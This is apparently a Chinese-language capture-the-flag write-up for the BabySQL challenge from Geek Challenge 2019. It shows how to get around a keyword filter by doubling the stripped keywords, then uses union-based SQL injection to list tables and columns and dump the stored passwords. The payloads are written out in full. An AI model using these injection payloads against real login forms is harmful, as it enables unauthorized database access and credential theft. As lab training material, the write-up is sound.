关键字过滤——[极客大挑战 2019]BabySQL

这是一道加强版 SQL 题,照例先用万能密码尝试,' or 1=1#

报错如下,

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=1#' and password='123'' at line 1

发现关键字 or 不见了,尝试一下其他关键字,例如 selectunion等,同样是不见了,那就猜测一些关键字被函数 replace 替换成了空白;

这时,我们尝试使用拼接进行查询:' uunionnion sselectelect 1,2,3#,登录成功;

图片中我们可以看出有2'3'两个显示位,因此接下来就是通过这两个位置进行查询;

先查看一下有什么表:' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#,得到的结果是

Hello 2!
Your password is 'b4bsql,geekuser'

那接下来就是继续查这两张表的字段了,' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'#,得到的结果是

Hello 2!
Your password is 'id,username,password'

那一般这种情况就查查 password 字段就显而易见了,' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#

Guess you like

Origin blog.csdn.net/weixin_46263782/article/details/120701694